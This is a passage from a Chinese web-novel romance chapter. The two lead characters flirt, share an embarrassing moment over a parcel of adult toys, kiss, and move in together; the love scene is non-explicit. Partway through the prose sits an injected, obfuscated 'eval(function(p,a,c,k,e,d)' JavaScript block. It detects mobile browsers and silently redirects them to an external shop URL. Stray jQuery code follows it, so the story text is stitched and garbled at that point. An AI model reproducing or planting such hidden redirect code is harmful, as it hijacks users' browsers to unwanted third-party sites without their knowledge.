果果一走,偌大的公寓就剩她和江默。
嘴角似乎还残留着男人指腹的余温,她不适地抿了抿唇,“你是没地方去了吗,怎么又来了。”
江默弯腰从茶几上抽了纸巾垂眸擦他指腹上沾的薯片屑,漫不经心道,“昨晚夜不归宿云姨以为我出差,最近都得住这里。”
鹿溪:“……”
蹭住的理由还挺别致。
江默将纸巾扔进垃圾桶,脱了外套轻丢在沙发上,长睫轻抬,看着她问,“晚餐吃了没有?”
鹿溪:“没有,点了餐。”
“全辣菜吗?”江默的视线不经意扫过她微红的唇瓣。
鹿溪以为江默在抱怨,语气不由讥诮,“你昨天不是还挺能吃辣吗。”
“下周三正好一个月。”
话题转得太莫名其妙,鹿溪懵逼,“什么一个月。”
江默一本正经,“距离你上次来大姨妈正好一个月,最近少吃辣。”
鹿溪:“……”
这种莫名砸过来的体贴让她不知道如何应对。
好在门铃响起,稍稍转移了鹿溪脚趾抠地的尴尬。
江默去开门,不一会儿拿了个不大不小快递走了过来。
正逃到冰箱前和冰饮冷静的鹿溪看到朝她走过来的江默,扫了眼他手上的快递挑眉,“你还会网购?”
她不是嘲笑,是惊讶。
因为她也是被停零花钱后跟果果学会了点外卖和网购,没想到江默还有这个闲工夫网上购物。
"你的快递。"江默回她。
鹿溪:“……”
她就说。
江默扫了眼她拿着饮料,说,“我帮你拆吗?”
有人帮忙干活,不用白不用。
“客厅零食架侧边有剪刀。”
“嗯。”
江默转身去帮她拆快递。
男人虽然看着冷,但相处起来挺有用的。
不仅能收拾碗筷,还能拆快递。
鹿溪嘴角轻翘,继续喝饮料解辣,刚含了口饮料,脑子猛地冒出了个重要的事。
她最近好像没有网购,唯有早上网购了……避孕套!
不会吧!
早上才下单的,不会这么快就到吧?!
脑子一整个疯狂尖叫。
她立马追去客厅。
江默刚用剪刀剪开了快递袋,把硬质快递盒拿出来,眼看他就要打开盒盖,鹿溪急促冲了过去。
“啪”
盒子被拍落,里面的东西全部散出来,发出清脆的铃铛声。
事情发生在一瞬间。
鹿溪整个人都是懵的,她原本是想要阻止江默开盖的,没想到……弄巧成拙!
不过,掉出来的皮鞭是什么鬼?!
这不是她的快递吧!
除了皮鞭还有铃铛,银色铃铛……
冷白修长的手捡起了那根不长不粗的黑色皮鞭。
“你喜欢这种?”
低磁又带着点难以置信的嗓音砸进鹿溪耳膜,她尴尬地抬不起头,视线盯着还躺在地上写着轻薄字迹的小方盒。
缓了好一会儿,她才鼓起勇气抬起脑袋。
“我说不是我买的你信吗?”
江默躬背,将散落在地上的‘小玩具’一一捡起来放进快递盒里,递给她不答反说,“成年人有点特别癖好,也是可以理解。”
鹿溪:“……”
她要的是理解吗?!
终于体会到了跳进黄河也洗不清的感觉了,她生无可恋地接过盒子,用盒盖盖上,打算拿去垃圾桶扔了。
下一秒,男人高大的躯体贴上她的后背,她的背脊倏尔绷紧,下意识偏眸,对视上那双注视着她的黑眸,像蠢蠢欲动的兽牢牢锁定他的猎物。
两人毕竟什么都做过,男人的这种眼神是什么意思,她很难不懂。
但是这太突然了。
她轻颤了下长睫毛,错开视线,“你别”
拒绝的话还没说出口,就被堵住,江默俯身吻住了她的唇。
不同那晚的生涩,熟练中透着霸道。
江默握住鹿溪的手臂将微微侧身的她掰正,前胸被挤压,臀部正好抵在桌面,她被牢牢压在方寸之地。
吻势汹涌,舌尖勾着舌苔,像上药一样仔仔细细地剐蹭,鹿溪不敢示弱地回应,两人的呼吸渐渐浑浊。
像是过了一个世纪。
呜~
缺氧的窒息让这场疯狂的吻停了下来。鹿溪靠在江默的胸膛前,微张着唇艰难喘息着。
缓了会儿抬头,对上江默幽深晦涩的眼神。
她还没来得及说话,江默的拇指贴着她的嘴角摁在她被吻肿的唇瓣上,轻轻地,一下又一下地揉捏。
过电的酥麻似乎再次激起疯狂的情|潮。
看着江默的脸朝她覆下来,这时门铃突兀响起。
鹿溪被吓一跳,有种偷情的做贼心虚。
“怕什么?”
低哑的嗓音吹进她耳膜,激起微痒的电流,她别开脸,抬手抵住江默的胸膛推搡,指使道,“去开门。”
门铃还在响,江默直起身,扣住鹿溪的胳膊将她打横抱去沙发,扯了沙发上他脱下的西装外套盖在鹿溪身上。
鹿溪抓着外套,看着明明是始作俑者的男人,此时却衣冠整齐,心里不太平衡。
在他折身去开门的时候,她小声骂了句伪君子。
这次才是真正的送餐人员,趁着江默摆餐的间隙,鹿溪进卧室收拾自己的狼狈。
“笃笃”
“出来吃饭。”
男人此时的兽性褪去,倒挺绅士还知道敲门询问。
“马上出来。”
她特意加了件开衫,免得男人色心再起。
餐厅里,晚餐已经布置好了,鹿溪走过去,两人对视一眼,她不自在地别开脸,拉开椅子落座。
两人默契地拿起筷子吃饭。
因为吃了零食,鹿溪没吃几口就不想吃了。
她拿着手机开始询问店家,快递是怎么一回事。
店家回复她那些‘情趣’小玩意是赠品,致力于让每一位光顾小店的顾客感受到她们送的惊喜。
鹿溪:“……”
确定不是惊吓吗?
碍于客服态度很好,她回了个面无表情的微笑。
“手机好玩吗?”
江默突然说话,鹿溪愣了下,抬头,“什么?”
慢半拍意识到江默在对她玩手机表达不满。
估计他有什么吃饭不能玩手机的怪癖,刚才社死的事情让鹿溪没了怼人的理直气壮,“我吃饱了,你继续吃。”
正要起身走人,江默又道,“在减肥吗?”
鹿溪怔了下。
难道她长胖了?!
她好看的两条秀眉蹙起,看向江默,“我胖了吗?”
“抱着硌手。”
鹿溪:“……”
一时间不知道这句话是褒义还是贬义。
搞不懂男人一茬一茬想要表达什么,她脑子一抽蹦出了句,“那你去找胖的。”
江默伸手拿起鹿溪的汤碗,盛了碗鹿茸汤,“怂恿我出轨,不如自己吃胖点靠谱。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701868|208113||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
鹿溪只觉得眼前的男人越发诡异,不论是行为还是语言上,都让她摸不着头脑。
难道亲吻还要有让人变嘴甜的功效?
江默还看着她,她停止颅内风暴,扫了眼眼前的汤,礼貌性地拿起调羹喝了一口,然后搁下。
“这就不喝了?”
鹿溪无奈,“我真喝不下,吃太多零食了。”
江默审视了她两秒,伸手将那碗汤端过去,自己喝。
鹿溪整个人都懵了。
脸颊慢吞吞地浮出红晕。
这跟接吻有什么区别。而且,他不是有洁癖吗?!
江默呷了口汤,撩气眼皮看她,“有问题?”
鹿溪别开脸,“我去洗澡。”
——
拿了睡裙进浴室,鹿溪脱了衣服躺进浴缸,越琢磨越觉得江默像是性情突变。
竟然还会撩人。
也不知道是有意还是无意。
她深呼了口气,不想再被困扰,按了轻柔按摩在浴缸泡了半小时。
洗完澡刷完牙,她拍了精油走出去,一眼看到站在她衣柜前的江默,他正在从一只大号黑色行李箱里拿出他的衣服挂进她的衣柜。
像是听到了动静,正在挂衣服的江默扭头,两人视线对上。
“哪来的行李箱?”
“生活助理送过来的。”江默回她。
鹿溪走过去,看到她衣柜里所剩无几的位置都被占有了,她委婉道,“出个差有必要拿那么多吗?”
两只大号行李箱,这看着像是打算在她这里长住吧。
“三十多套衣服,并不算多。”江默精准得说了数字,又转移话题道,“公寓密码你没有告诉我。”
鹿溪:“……”
可以看出来男人鸠占鹊巢的意图极其明显。
但她没有拒绝的理由。
心满意足得到密码后,江默当着鹿溪的面拉开抽屉拿了件他的内裤。
男人的内裤毫不避讳地紧挨在她的内衣内裤旁,虽然各自的贴身衣物都有透明袋子兜着,但却有种说不上的暧昧。
鹿溪瞥了眼转开视线,“我去喝杯水。”
“我去洗澡。”江默应声。
鹿溪抬脚走人,走到冰箱前拉开冰箱从里面拿了瓶矿泉水,消暑。
她的脸蛋太热了。
缓了缓情绪,她来到客厅沙发开了荧屏,拿着遥控器挑电影片子的时候,她想起一件重要的事,立即扭头看向零食架旁边的置物柜。
那个装着‘情趣’小玩意的快递不见了!
江默扔垃圾桶了吗?
那今晚应该是不打算做了吧。
盯着那块位置,她条件反射似的舔了舔嘴唇,脑子不受控地回想起先前被江默压着亲吻的画面。
她甩了甩脑袋,转向电视屏,强迫自己发烫的脑子冷静下来。
不知道是没心情,还是心不在焉的原因,没有一部片子的简介是她想看的。
鹿溪关了灯,起身回到卧室。江默去了浴室洗澡,她本想上床,又想起自己没有做晚间护肤。
碍于江默不知道什么时候就出来,她没有做复杂的护肤,只涂了晚霜和身体乳。
做完护肤,听到了浴室开门声,鹿溪立即疾步掀开被子爬上床,靠在床头抓着手机假装看得认真。
脚步声越来越近,她不动神色地抬起眼皮瞥了眼。
男人今晚罕见的穿了身月光白的睡衣,或许是他一直穿深色睡衣,第一次见他穿浅色总有种稀奇的惊艳感。
目光情不自禁地被勾住,多停留了那么几秒。